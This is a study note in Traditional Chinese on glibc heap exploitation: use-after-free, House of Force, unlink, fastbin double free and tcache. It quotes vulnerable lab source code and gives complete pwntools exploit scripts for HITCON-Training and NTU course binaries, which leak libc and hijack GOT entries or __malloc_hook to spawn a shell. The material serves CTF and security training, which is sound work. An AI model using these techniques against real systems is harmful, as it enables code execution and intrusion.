--- tags: Linux PWN --- # Linux heap exploit ## use after free * 環境 ``` Ubuntu 16.04 libc version 2.23 ``` ### 攻擊手法 * free掉的pointer沒有清成null形成dangling pointer造成information leak或者RCE ### Practice -- Angelboy Hitcon Training Lab10 hacknote * [source](https://github.com/scwuaptx/HITCON-Training/tree/master/LAB/lab10) ![](https://i.imgur.com/deEEztn.png) * 保護機制 ![](https://i.imgur.com/ZYKpOMm.png) * 漏洞 * free掉的pointer沒有被清成null所以造成被複寫後還能存取到同一塊 * 解法 1. 先add兩塊fast bin大小的chunk 2. 因為fast bin會依照LIFO的規則而note的結構是8 byte 3. 所以如果再做一次add大小為8 byte則note的會拿到原index=0時note的位置8 byte的content會拿到原index=1時note的位置 4. 寫入print_note及printf@got 5. print note會去call指定index的print_note他會把content所指向位置的內容輸出出來所以如果把內容改寫成printf@got他就會把printf@got裡面的內容印出來就leak出libc的位置 6. 拿到libc之後再做一次delete和add再拿到同一塊 7. 在print_note寫system的位置content寫`;sh;`這樣去call print_note就會變成system('address;sh;')達到跟command injection一樣的效果就能拿到shell ```python= from pwn import * p = process('./hacknote') elf = ELF('./hacknote') libc = ELF('/lib/i386-linux-gnu/libc.so.6') printfGot = elf.got['printf'] print_note = elf.symbols['print_note_content'] def add(size, content): p.sendlineafter(':', '1') p.sendlineafter(':', str(size)) p.sendafter(':', content) def delete(index): p.sendlineafter(':', '2') p.sendlineafter(':', str(index)) def printnote(index): p.sendlineafter(':', '3') p.sendlineafter(':', str(index)) add(50, 'aaaaaaaaaaaaaaaaaaaaa') add(50, 'aaaaaaaaaaaaaaaaaaaaa') delete(1) delete(0) add(8, p32(print_note) + p32(printfGot)) printnote(1) base = u32(p.recv(4)) - libc.symbols['printf'] success('libc base = %x', base) system = base + libc.symbols['system'] delete(0) add(8, p32(system) + b';sh;') printnote(1) p.interactive() ``` ### Practice -- NTU computer security [lab]UAF ![](https://i.imgur.com/wtI9eWQ.png) * source code ```clike= #include<stdio.h> #include<stdlib.h> #include<fcntl.h> void init(){ setvbuf(stdout,0,2,0); setvbuf(stdin,0,2,0); setvbuf(stderr,0,2,0); } int read_int(){ char buf[0x10]; __read_chk( 0 , buf , 0xf , 0x10 ); return atoi( buf ); } void welcome_func(){ puts( "Hello ~~~" ); } void bye_func(){ puts( "Bye ~~~" ); } void menu(){ puts( "1. add a box" ); puts( "2. exit" ); puts( ">" ); } struct MessageBox{ void (*welcome)(); void (*bye)(); }; void backdoor(){ system("sh"); } int main(){ init(); struct MessageBox* msgbox = (struct MessageBox*) malloc( sizeof( struct MessageBox ) ); msgbox->welcome = welcome_func; msgbox->bye = bye_func; msgbox->welcome(); free( msgbox ); int n = 3, size; char *msg; while( n-- ){ printf( "Size of your message: " ); size = read_int(); msg = (char*) malloc( size ); printf( "Message: " ); read( 0 , msg , size ); printf( "Saved message: %s\n" , msg ); free( msg ); } msgbox->bye(); return 0; } ``` * 保護機制 ![](https://i.imgur.com/71VADLr.png) * 漏洞 * 第52行free掉後形成dangling pointer而第71行又再call * 解法 1. MessageBox的大小為16 byte所以如果跟系統要16 byte的大小會要到被free掉那塊 2. 因為有PIE所以要先leak出整個程式的base address而free的時候bye()的位置並沒有被清掉所以一開始先塞8個byte printf在印輸入的東西時會一直印到null byte所以可以leak出bye的位置 3. 再來再跟系統要16 byte的大小就會又拿到同一塊 4. 前面先塞8個byte不重要的東西再寫上backdoor()的位置 5. 最後程式結束的時候會去call bye()但是已經被改寫成backdoor()所以就會去執行backdoor() ```python= from pwn import * p = process('./uaf') elf = ELF('./uaf') bye = elf.symbols['bye_func'] p.sendafter('Size of your message: ', str(16)) p.sendafter('Message: ', b'a'*8) p.recvuntil(b'a'*8) base = u64(p.recvline().strip().ljust(8, b'\x00')) - bye backdoor = elf.symbols['backdoor'] + base success('base -> %s' % str(hex(base))) p.sendafter('Size of your message: ', str(16)) payload = b'a'*8 + p64(backdoor) p.sendafter('Message: ', payload) p.sendafter('Size of your message: ', str(100)) p.sendafter('Message: ', b'a'*8) p.interactive() ``` ## House of Force * 環境 ``` Ubuntu 16.04 libc version 2.23 ``` ### 攻擊手法 * 透過控制top chunk的內容使得分配記憶體的機制做到隨機任意記憶體讀寫 * 條件 * top chunk size 可控 * 用戶可決定malloc的大小 ### 原理 * top chunk allocate chunk 流程 ```clike= // 取得目前top chunk並計算top chunk的大小 victim = av->top; size = chunksize(victim); // 如果分割後大小仍符合chunk最小大小就進行分割 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av->top = remainder; set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE); check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; } ``` * 漏洞位置 ```clike= (unsigned long) (size) >= (unsigned long) (nb + MINSIZE) ``` 如果size可被控成很大的數則能通過檢查 ex.把size控成`-1`則轉成unsigned int會變成`0xffffffffffffffff`非常大的整數就能通過檢查 ```clike= remainder = chunk_at_offset(victim, nb); av->top = remainder; ``` 當malloc的時候top chunk通過檢查就會做上面行為就會對top chunk做切割最後top的位置就會改變 而且malloc裡面填負值他不會報錯還是能夠成功malloc進而做到把top chunk位置往上拉 所以可以做到控制top的位置做到隨機位置讀寫 ### Example -- 任意記憶體寫入(往低位) ```clike= #include<stdlib.h> int main() { long *ptr,*ptr2; ptr=malloc(0x10); ptr=(long *)(((long)ptr)+24); *ptr=-1; // <=== 这里把top chunk的size域改为0xffffffffffffffff malloc(-4128); // <=== 减小top chunk指针 ptr = malloc(0x10); // <=== 分配块实现任意地址写 這裡是malloc@got *ptr = 0xdeadbeef; //<=== 之後只要做malloc eip就會被控到0xdeadbeef } ``` malloc(0x10)得到`0x602010`大小是`0x10` `0x602020`開始是top chunk的header ![](https://i.imgur.com/sV8Used.png) 把top chunk size改寫成`-1`之後再做malloc(負值)之後top chunk的位置就會被往上拉 malloc前 ![](https://i.imgur.com/t7yYY8T.png) malloc後top從`0x602020`變成`0x601010` ![](https://i.imgur.com/NRCiFwk.png) 這邊因為malloc@got的位置在`0x601020`所以malloc(-4128)把top chunk控到`0x601010` 須malloc大小算法 ``` 0x601010 - 0x602020 - 0x10 = -4128 要控到的位置 - 現在top chunk位置 - top chunk header size = 須malloc大小 ``` 之後再malloc(0x10)就會拿到`0x601020`也就是malloc@got所在位置就可以做到got hijacking ### Example -- 任意記憶體寫入(往高位) ```clike= #include<stdlib.h> int main() { long *ptr,*ptr2; ptr=malloc(0x10); ptr=(long *)(((long)ptr)+24); *ptr=-1;// <=== 修改top chunk size malloc(140737345551056);// <=== 增大top chunk指针 ptr = malloc(0x10); *ptr = -1; malloc(0x10); } ``` top chunk不只可以被往上控也可以往下控如果malloc一個很大的size就會跑到很遠的地方之後再做一次malloc就能夠改寫到很遠的地方 這個例子用來把libc裡面的__malloc_hook改掉 在用malloc的時候也會調用到__malloc_hook所以如果改掉__malloc_hook則也可做到eip可控 ![](https://i.imgur.com/2CpX3cN.png) 算一下可以知道__malloc_hook的位置在`0x7ffff7dd1b10` 所以如果把top chunk控到`0x7ffff7dd1b00`之後再做malloc就能拿到`0x7ffff7dd1b10`的位置就可以把__malloc_hook寫掉 size = 0x7ffff7dd1b00 - 0x602020 - 0x10 = 140737345551056 把top chunk size改寫做完malloc之後top chunk就被控到很遠的地方 ![](https://i.imgur.com/AmHEQUs.png) 之後做malloc就拿到0x7ffff7dd1b10把他改掉就能再下次malloc時控到eip ### Practice -- Angelboy Hitcon Training Lab11 bamboobox * [source](https://github.com/scwuaptx/HITCON-Training/tree/master/LAB/lab11) ![](https://i.imgur.com/tGnxdJ9.png) * 安全機制 ![](https://i.imgur.com/0xLoSd1.png) * 漏洞位置 在change_item的第17行read沒有對輸入的大小做檢查所以有漏洞 ```clike= void change_item(){ char indexbuf[8] ; char lengthbuf[8]; int length ; int index ; int readsize ; if(!num){ puts("No item in the box"); }else{ printf("Please enter the index of item:"); read(0,indexbuf,8); index = atoi(indexbuf); if(itemlist[index].name){ printf("Please enter the length of item name:"); read(0,lengthbuf,8); length = atoi(lengthbuf); printf("Please enter the new name of the item:"); readsize = read(0,itemlist[index].name,length); *(itemlist[index].name + readsize) = '\x00'; }else{ puts("invaild index"); } } } ``` * 解法 1. 先做add 2. 在change時候的大小輸入可以蓋到top chunk header的大小然後把他做改寫 3. 做一次add把top chunk的位置拉到想要控的地方 4. 再做一次add就能拿到要控的地方並在裡面寫要控制的內容這邊是把goodbye控成magic 5. 最後離開他會去執行goobye但是已經被控成magic所以就會執行magic把flag印出來 ```python= from pwn import * p = process('./bamboobox') elf = ELF('./bamboobox') def show(): p.sendlineafter(':', '1') def add(size, name): p.sendlineafter(':', '2') p.sendlineafter(':', str(size)) p.sendlineafter(':', name) def change(index, size, name): p.sendlineafter(':', '3') p.sendlineafter(':', str(index)) p.sendlineafter(':', str(size)) p.sendlineafter(':', name) def remove(index): p.sendlineafter(':', '4') p.sendlineafter(':', str(index)) def leave(): p.sendlineafter(':', '5') magic = elf.symbols['magic'] add(30, 'a'*30) change(0, 0x31, b'a'*0x28 + p64(0xffffffffffffffff)) add(-96, 'aaaa') add(0x11, p64(magic)*2) leave() p.interactive() ``` ## Unlink * 環境 ``` Ubuntu 16.04 libc version 2.23 ``` ### 攻擊手法 * 透過unlink控制指針所指的位置來達到任意記憶體位置的讀寫 ### unlink原理 * 如果前一塊chunk或後一塊chunk是freed的狀態會做合併的動作合併時須從bin中移除所以需要做unlink ```clike= static void unlink_chunk (mstate av, mchunkptr p) { //检查chunk的size和next_chunk的prev_size是否一致 if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size"); mchunkptr fd = p->fd; mchunkptr bk = p->bk; //检查fd和bk(双向链表完整性) if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) malloc_printerr ("corrupted double-linked list"); fd->bk = bk; bk->fd = fd; if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) { //检查largebin中next_size双向链表的完整性 if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p) malloc_printerr ("corrupted double-linked list (not small)"); if (fd->fd_nextsize == NULL) { if (p->fd_nextsize == p) fd->fd_nextsize = fd->bk_nextsize = fd; else { fd->fd_nextsize = p->fd_nextsize; fd->bk_nextsize = p->bk_nextsize; p->fd_nextsize->bk_nextsize = fd; p->bk_nextsize->fd_nextsize = fd; } } else { p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize; } } } ``` * freed chunk layout ![](https://i.imgur.com/PjVpmep.png) * 條件 * 檢查size `if (chunksize (p) != prev_size (next_chunk (p )))` * 檢查鏈狀結構完整性 `__builtin_expect (fd->bk != p || bk->fd != p, 0)` 當前chunk為p 檢查p->fd->bk是不是p以及p->bk->fd是不是p 以前沒有這項檢查在做unlink的時候可以把指針控到其他地方去 * large bin要再檢查size large bin有欄位用於記錄下一塊chunk的大小這邊也要做檢查 `if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)` ### Example -- from how2heap unsafe_unlink * [source](https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsafe_unlink.c) ```clike= #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> uint64_t *chunk0_ptr; int main() { int malloc_size = 0x80; int header_size = 2; chunk0_ptr = (uint64_t*) malloc(malloc_size); uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); uint64_t *chunk1_hdr = chunk1_ptr - header_size; chunk1_hdr[0] = malloc_size; chunk1_hdr[1] &= ~1; chunk0_ptr[1] = malloc_size; free(chunk1_ptr); char victim_string[8]; strcpy(victim_string,"Hello!~"); chunk0_ptr[3] = (uint64_t) victim_string; fprintf(stderr, "Original value: %s\n",victim_string); chunk0_ptr[0] = 0x4141414142424242LL; fprintf(stderr, "New Value: %s\n",victim_string); } ``` * 須繞過檢查 * 雙向鏈狀結構檢查 * size大小檢查 * 雙線鏈狀結構偽造 1. p->fd->bk = p 2. p->bk->fd = p 要達成上面兩個條件必須偽造一塊chunk使得能夠符合檢查的條件 fd是是在header + 0x10的位置 bk是是在header + 0x18的位置 這個例子&chunk0_ptr = 0x601070 p->fd = 0x601070 - 0x18 = 0x601058 p->bk = 0x601070 - 0x10 = 0x601060 這樣就可以通過鏈狀結構的檢查讓p->fd->bk和p->bk->fd都指向0x601070 在第16行17行的部分完成偽造chunk 把0x602020和0x602028改寫偽造chunk的fd和bk ![](https://i.imgur.com/y5GNMV7.png) * size大小偽造 要通過size大小的檢查必須要當前這塊的prev_size和前一塊的size相等 而且還要把要free掉那塊size的最低位的bit改成0因為最低位的bit用來記錄前一塊是不是使用中 之後必須把這塊要free這塊的prev_size和前一塊要的size改寫成相同 第20到22行完成改寫的動作 找前一塊方式是從目前這塊的header部分減掉prev_size的大小所以把prev_size寫成0x80就會從0x602090 - 0x80那從0x602010開始是偽造的chunk header的部分 偽造chunk的size和0x602090記錄的prev_size需要一樣 0x602098的最低bit要設成0這樣他才會認為前一塊是被free掉的 ![](https://i.imgur.com/InL2Txr.png) 之後再做free他就會往前合併然後做unlink的動作 * unlink的動作 * p->fd->bk = p->bk * \*(&p - 0x18 + 0x18) = &p - 0x10 * p->bk->fd = p->fd * \*(&p - 0x10 + 0x10) = &p - 0x18 * 最後&p會變成&p-0x18從0x601070變成0x601058 ![](https://i.imgur.com/v2ra8G2.png) * 結果 unlink後`chunk0_ptr[3]`和`chunk0_ptr[0]`都指向同一個位置 ```clike= chunk0_ptr[3] = (uint64_t) victim_string; chunk0_ptr[0] = 0x4141414142424242LL; ``` ![](https://i.imgur.com/kIYsQGR.png) ### Practice -- Angelboy Hitcon Training Lab11 bamboobox * [source](https://github.com/scwuaptx/HITCON-Training/tree/master/LAB/lab11) ![](https://i.imgur.com/tGnxdJ9.png) * 安全機制 ![](https://i.imgur.com/HBDd2t2.png) * 漏洞位置 在做change_item時read沒有對輸入的大小做檢查所以可以寫超過實際大小蓋到其他地方 * 解法 1. 先add出兩塊空間 2. 在第一塊的存data的地方裡面偽造出被free掉的chunk 3. 把第二塊chunk的header改掉製造成前一塊是freed的情況 4. 因為第二塊的header的size欄位最低位的bit被改寫成0所以會認為前一塊已經被free了 5. 把第二塊free掉讓他和偽造的chunk做合併接著會去做unlink 6. unlink完存第一塊chunk位置的指針就會被往前拉0x18 7. 在原本指向data那部分的指針改寫成got的位置 8. 因為指向data的地方被改寫成got的位置再用show把內容印出來就能夠leak出libc的位置 9. 知道libc位置後因為前面已經把第一塊指向的位置改成got的位置就能做got hijacking 10. 把atoi的got改寫成system 11. 選單會把輸入的數字傳給atoi所以當atoi被改成system只要輸入sh就會當成參數傳給system ```python= from pwn import * p = process('./bamboobox') elf = ELF('./bamboobox') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def show(): p.sendlineafter(':', '1') def add(size, name): p.sendlineafter(':', '2') p.sendlineafter(':', str(size)) p.sendlineafter(':', name) def change(index, size, name): p.sendlineafter(':', '3') p.sendlineafter(':', str(index)) p.sendlineafter(':', str(size)) p.sendlineafter(':', name) def remove_item(index): p.sendlineafter(':', '4') p.sendlineafter(':', str(index)) def exit(): p.sendlineafter(':', '5') ptr = 0x6020c8 atoi = elf.got['atoi'] add(0x80, 'aaa') add(0x80, 'aaa') fakeChunk = p64(0) # prev_size fakeChunk += p64(0x81) # size fakeChunk += p64(ptr-0x18) # fd fakeChunk += p64(ptr-0x10) # bk fakeChunk += b'a' * 0x60 # padding fakeChunk += p64(0x80) # prev_size fakeChunk += p64(0x90) # size change(0, 0x91, fakeChunk) remove_item(1) change(0, 0x21, b'a'*0x10 + p64(0x80) + p64(atoi)) show() p.recvuntil('0 : ') base = u64(p.recv(6).ljust(8, b'\x00')) - libc.symbols['atoi'] success('libc base = %x', base) system = base + libc.sym['system'] change(0, 0x10, p64(system)) p.recv() p.sendline('sh') p.interactive() ``` ## fastbin attack * 環境 ``` Ubuntu 16.04 libc version 2.23 ``` ### 攻擊手法 * 利用free時檢查條件不夠嚴謹所以能夠double free以及fastbin的特性來對任意記憶體寫入 ### fastbin特性 * LIFO最後被free掉的fastbin會被插那個size的在最前面然後用fd(header + 0x10)來連接前一個chunk * double free檢查 * double free會檢查現在要free掉的跟上次最後free掉的是不是同一塊 * 繞過double free檢查 * 因為double free只檢查上次free的跟現在free的是不是同一塊並沒有檢查這塊是不是被free過了所以如果先free(A)再free(B)再free(A)就會通過檢查 ### fastbin attack原理 假設一開始如果有一塊A大小0x40他的下一塊是null ![](https://i.imgur.com/2Gm8jSD.png) 這時候如果有一塊B被free掉會被插在A前面fd的欄位指向A ![](https://i.imgur.com/bqirpdn.png) 如果再free一次A他又會被放進fastbin裡插在B的前面就會形成一個環狀的結構 ![](https://i.imgur.com/SAPWdX3.png) 這時候如果malloc一塊0x40大小的chunk就會拿到A同時fastbin開頭指向B這時候A同時處於allocated跟freed的狀態 所以如果在拿到的A寫上0xdeadbeef這樣就會變成 ![](https://i.imgur.com/oBCrDeK.png) 又再要一塊0x40大小時會把B拿走再要就把A拿走最後fastbin就會指向0xdeadbeef這個偽造的chunk ![](https://i.imgur.com/us5CQuD.png) 這樣再要一次0x40就會拿到0xdeafbeef這個chunk就能對達到任意記憶體位置的寫入 * fastbin檢查 * fastbin在取出chunk時會對header欄位中size的大小做檢查如果size跟當前fastbin的大小不同就會直接報錯終止程式所以要用fastbin attck時還要找一塊能通過size檢查的地方才能偽造chunk ### Practice -- NTU computer security [Lab]note ![](https://i.imgur.com/0uHOlvG.png) * 保護機制 ![](https://i.imgur.com/JoKjBvX.png) * source code ```clike= #include<stdio.h> #include<stdlib.h> #include<fcntl.h> #include <stdint.h> #define MAX 10 void init(){ setvbuf(stdout,0,2,0); setvbuf(stdin,0,2,0); setvbuf(stderr,0,2,0); } uint64_t read_long(){ char buf[0x10]; __read_chk( 0 , buf , 0xf , 0x10 ); return atol( buf ); } char* notes[MAX]; void add(){ for( int i = 0 ; i < MAX ; ++i ){ if( !notes[i] ){ printf( "Size: " ); uint64_t size = read_long(); notes[i] = malloc( size ); printf( "Note: " ); read( 0 , notes[i] , size - 1 ); puts( "Done!" ); return; } } puts( "Full!" ); } void show(){ printf( "Which note do you want to show?\nIndex: " ); uint64_t idx = read_long(); if( idx >= MAX ){ puts( "Invalid index." ); return; } if( notes[idx] ){ printf( "Note %d:\n%s\n" , idx , notes[idx] ); } else{ puts( "No such note!" ); } } void delete(){ printf( "Which note do you want to delete?\nIndex: " ); uint64_t idx = read_long(); if( idx >= MAX ){ puts( "Invalid index." ); return; } if( notes[idx] ){ free( notes[idx] ); // dangling pointer, vulnerable! // notes[idx] = NULL; // The proper way } else{ puts( "No such note!" ); } } void menu(){ puts( "1. Add a note" ); puts( "2. Show a note" ); puts( "3. Delete a note" ); puts( "4. Exit" ); puts( "> " ); } int main(){ init(); while(1){ menu(); uint64_t n = read_long(); switch( n ){ case 1: add(); break; case 2: show(); break; case 3: delete(); break; default: puts( "Invalid choice." ); break; } } return 0; } ``` * 漏洞 * double free fastbin導致可對任意記憶體位置做寫入 * deltete 之後沒有把pointer清成null造成dangling pointer * 解法 1. 先做information leak把libc的位置找出來 2. 一開始先add一塊不是fastbin大小的chunk 3. 因為不是fastbin大小的chunk free掉之後會先放到unsorted bin它被free掉之後的內容會有libc的位置所以把他free掉再調用show把裡面的內容印出來就會有libc的位置 4. 如果只有一塊unsorted bin的話會跟top做合併就不會被放到unsorted bin裡面就沒辦法leak出libc位置所以在delete前要先多add一塊讓他不要跟top連在一起 5. 前面已經有一個fastbin了要繞過double free的檢測必須要這次free的chunk和最後free的chunk不同所以再多add一塊fastbin 6. 再來就可以利用double free的漏洞對chunk做改寫她就會以為被free兩次那個chunk存data的地方是另一塊被free掉的chunk就可以控到想寫值的地方 7. 這邊改寫掉libc中__malloc_hook如果在做malloc時__malloc_hook不是0他就會去執行那個位置所寫的function pointer 8. 但是fastbin在取出來時會對header的低4byte做檢查看是不是跟他放到的fatbin一樣如果size不符程式會直接終止掉但是並不會檢查最低4bit的值所以像是0x61, 0x73之類都可以用 9. 所以必須從__malloc_hook往上0x10上面找一塊位置r r+0x8的低4 byte有符合fastbin的大小最後在__malloc_hook - 0x10 - 19的地方找到一個低4byte是0x0000007f這樣如果在0x70那個fastbin裡面取出來就不會有問題 10. 之後再做add一直到把那一塊偽造的取出來 11. 但是因為是在__malloc_hook - 0x10 - 19有0x10的header所以還要在寫19 byte的padding才能真正寫到__malloc_hook的位置就可以在裡面寫system的位置這樣下次呼叫malloc就會去執行system 12. 但是傳進去malloc的是一個數字所以就去找出/bin/sh在libc中的位置把那個位置當成數字直接傳給malloc這樣就會變成system去那個位置取值就取到/bin/sh就能開shell ```python= from pwn import * p = process('./note') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size, note): p.sendlineafter('>', '1') p.sendlineafter(': ', str(size)) p.sendlineafter(': ', note) def show(index): p.sendlineafter('>', '2') p.sendlineafter(': ', str(index)) def delete(index): p.sendlineafter('>', '3') p.sendlineafter(': ', str(index)) add(0x100, 'aaaa') add(0x60, 'aaaa') add(0x60, 'aaaa') delete(0) show(0) p.recvuntil('0:\n') base = u64(p.recvline().strip().ljust(8, b'\x00')) - 0x3c4b78 success('libc base = %x', base) system = base + libc.symbols['system'] delete(1) delete(2) delete(1) add(0x60, p64(base + libc.symbols['__malloc_hook'] - 0x10 - 19)) add(0x60, 'aaaa') add(0x60, 'aaaa') add(0x60, b'a'*19+p64(system)) sh = next(libc.search(b'/bin/sh\x00')) + base p.sendlineafter('>', '1') p.sendlineafter(':', str(sh)) p.interactive() ``` ### Practice -- NTU computer security [0x08] Note++ ![](https://i.imgur.com/qhdeXSx.png) * 保護機制 ![](https://i.imgur.com/z4T2xuG.png) * source code ```clike= #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <stdint.h> #define MAX 10 void init(){ setvbuf(stdout,0,2,0); setvbuf(stdin,0,2,0); setvbuf(stderr,0,2,0); } int read_int(){ char buf[0x10]; __read_chk( 0 , buf , 0xf , 0x10 ); return atoi( buf ); } int read_input( char *buf , unsigned int size ){ int ret = __read_chk( 0 , buf , size , size ); if(ret <= 0){ puts("read error"); _exit(1); } if(buf[ret-1] == '\n'){ buf[ret-1] = '\0'; } return ret; } struct Note{ int is_freed; char *data; char description[48]; }; struct Note notes[MAX]; void add(){ for( int i = 0 ; i < MAX ; ++i ){ if( !notes[i].data || notes[i].is_freed ){ printf( "Size: " ); unsigned int size = read_int(); if( size > 0x78 ){ puts( "Too big!" ); return; } notes[i].data = malloc( size ); memset( notes[i].data , 0 , size ); // no information leak printf( "Note: " ); read_input( notes[i].data , size - 1 ); printf( "Description of this note: " ); // fixed overflow // scanf( "%s" , notes[i].description ) // overflow scanf( "%48s" , notes[i].description ); // safe notes[i].is_freed = 0; puts( "Done!" ); return; } } puts( "Full!" ); } void list(){ for( int i = 0 ; i < MAX ; ++i ){ if( notes[i].data && !notes[i].is_freed ){ printf( "Note %d:\n Data: %s\n Desc: %s\n" , i , notes[i].data , notes[i].description ); } } puts(""); } void delete(){ printf( "Which note do you want to delete?\nIndex: " ); uint64_t idx = read_int(); if( idx >= MAX ){ puts( "Invalid index." ); return; } if( !notes[idx].data ){ puts( "No such note!" ); return; } if( notes[idx].is_freed ){ puts( "Double free! Bad hacker :(" ); _exit(-1); } free( notes[idx].data ); notes[idx].is_freed = 1; } void menu(){ puts( "1. Add a note" ); puts( "2. List notes" ); puts( "3. Delete a note" ); puts( "4. Exit" ); puts( "> " ); } int main(){ init(); while(1){ menu(); int n = read_int(); switch( n ){ case 1: add(); break; case 2: list(); break; case 3: delete(); break; default: puts( "Invalid choice." ); break; } } return 0; } ``` * 漏洞 * read_input會把傳入的size轉成unsigned int而且在呼叫時會把輸入的size-1所以如果輸入0傳入read_input會變成-1轉成unsigned int之後會變成一個非常大的數就造成可以一直輸入進而蓋到其他chunk的內容 * 解法 1. 因為能輸入的大小只有0x78以下的大小都是fastbin的大小如果是fastbin以外的被free掉之後上面會有main_arena+xx就能leak出libc位置 2. 利用read_input的漏洞把下一塊chunk的size改成smallbin的大小再free掉之後用list就能把libc位置leak出來 3. 這邊要注意的是因為chunk的大小是偽造的所以如果要free掉必須要確定後面的大小要跟偽造的大小一樣不然會直接報錯程式直接終止掉ex.要free掉0xa0大小加上自己這塊和下一塊大小要0xa0而且不能跟top chunk連在一起 4. leak出libc位置後就能找出__malloc_hook再搭配read_input利用fastbin attack去改寫__malloc_hook 5. 但是因為能輸入到malloc的大小只能小於0x78所以不能直接傳libc裡sh字串的位置進去所以利用one_gadget會發現所有能夠觸發的條件都不符合 6. 但是如果是用0xf0364這個one_gadget去free掉最後用fastbin attack製造出來的指向__malloc_hook的那塊假的chunk會觸發錯誤這時候會用到malloc然後會剛好符合one_gadget的條件所以能開shell ```python= from pwn import * p = process('./note++') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size, note, describe): p.sendlineafter('>', '1') p.sendlineafter(': ', str(size)) p.sendafter(': ', note) p.sendlineafter(': ', describe) def show(): p.sendlineafter('>', '2') def delete(index): p.sendlineafter('>', '3') p.sendlineafter(': ', str(index)) add(0x18, 'aaaa', 'AAAA') add(0x60, 'bbbb', 'AAAA') add(0x60, 'cccc', 'AAAA') add(0x60, 'cccc', 'AAAA') delete(0) add(0, b'a'*24 + p64(0xe1), 'AAAA') # 改寫size成smallbin delete(1) # delete smallbin 會出現main_arena+x的位置 add(0x60, 'a'*8, 'AAAA') show() p.recvuntil('2:') p.recvuntil('Data: ') base = u64(p.recv(6).ljust(8, b'\x00')) - 0x3c4b78 success('libc base = 0x%x', base) delete(1) delete(0) malloc_hook = libc.symbols['__malloc_hook'] + base system = libc.symbols['system'] + base one_gadget = base + 0xf0364 add(0, b'a'*0x18+p64(0x71)+p64(malloc_hook - 0x10 -19), 'AAAA') add(0x60, 'aaaa', 'AAAA') add(0x60, b'a'*19+p64(one_gadget), 'AAAA') p.sendlineafter('>', '3') p.sendlineafter(': ', '4') p.interactive() ``` ## tcache attck * 環境 ``` Ubuntu 18.04 libc version 2.27 ``` ### 攻擊手法 * 利用tcache檢查鬆散的特行使得heap exploit更容易 ### tcache 原理 * tcache(thread local caching)是一個cache的機制從glibc 2.26開始被引入 * free掉的chunk在放進對應的bin之前先放到tcache裡面直到tcache滿了才會放到對應的bin裡 * tcache 資料結構 ```clike= typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry; typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; // TCACHE_MAX_BINS = 64 } tcache_perthread_struct; ``` tcache有兩個重要的資料結構tcache_entry和tcache_perthread_struct * tcache_entry是個單項的鏈狀結構指向下一塊chunk資料的位置(fastbin是指向header位置) * tcache_perthread_struct是每個thread都有的結構用來管理tcache * counts來紀錄cache裡面已經存多少chunk同個size最多7個如果超過7個就會被放到相對應的bin中 * entry用來把被free掉的chunk連接在一起 * tcache 預設只有對 64 個不同大小的 chunk 做 cache ,預設每種 size 只 cache 7 個 chunk 這樣 * tcache 操作相關function ```clike= static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; // 增加到链表头部 ++(tcache->counts[tc_idx]); // 记录当前 bin 的 chunk数 } static __always_inline void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); return (void *) e; } ``` tcache主要有兩個操作put和get * tcache_put用來把chunk放到tcache中 ![](https://i.imgur.com/Ps8U9rn.png) * tcache_get用來把chunk從tcache裡面取出來 * tcache in malloc * malloc時會先去看tcache裡有沒有chunk有就直接把那塊分配出去沒有就進入_int_malloc執行malloc的流程 * int_malloc * 如果是fastbin就看fastbin裡有沒有合適的大小如果有就直接拿那塊剩下fastbin裡面的chunk會放到tcache裡直到7塊填滿如果沒有滿足的大小就進入smallbin * smallbin跟fastbin類似如果有分配其他進tcache沒有就進入unsorted bin * unsorted bin裡找到適合的大小不會直接返回會放到tcache裡並設return_cached=1如果不是適合的大小就按照正常流程放到small bin或large bin * 最後遍歷完unsorted bin就去看return_cached是不是1如果是1就去tcache把chunk取出來如果是0就去large bin或top chunk切 * tcache in free * 先看tcache有沒有滿要free掉的chunk能不能放進裡面如果不行就按照原本的free流程 ### tcache漏洞 * 原本正常的free流程會把被free掉chunk下一塊的PREV_INUSE bit設為0但是tcache要放到cache時所用的tcache_put並沒有做任何操作或檢查而是直接放進tcache裡所以造成同一塊可以被重複free掉會一直被放到tcache裡面直到tcache滿 * malloc時也是tcache_get完全沒有做檢查就直接取出來所以少了很多安全機制 **ps.Ubuntu 20.04的libc tcache機制有改有新增安全機制像是double free有做檢查** ### Example -- tcache_dup * [source](https://github.com/andigena/ptmalloc-fanzine/blob/master/05-tcache/tcache_dup.c) * source code ```clike= #include <stdlib.h> #include <stdio.h> #include <stdint.h> int main() { void* p1 = malloc(0x40); free(p1); free(p1); printf("Next allocated memory will be same: %p %p\n", malloc(0x40), malloc(0x40)); } ``` * 原理 * 因為tcache沒有檢查double free所以一直free一塊他一樣會再被放進tcache裡 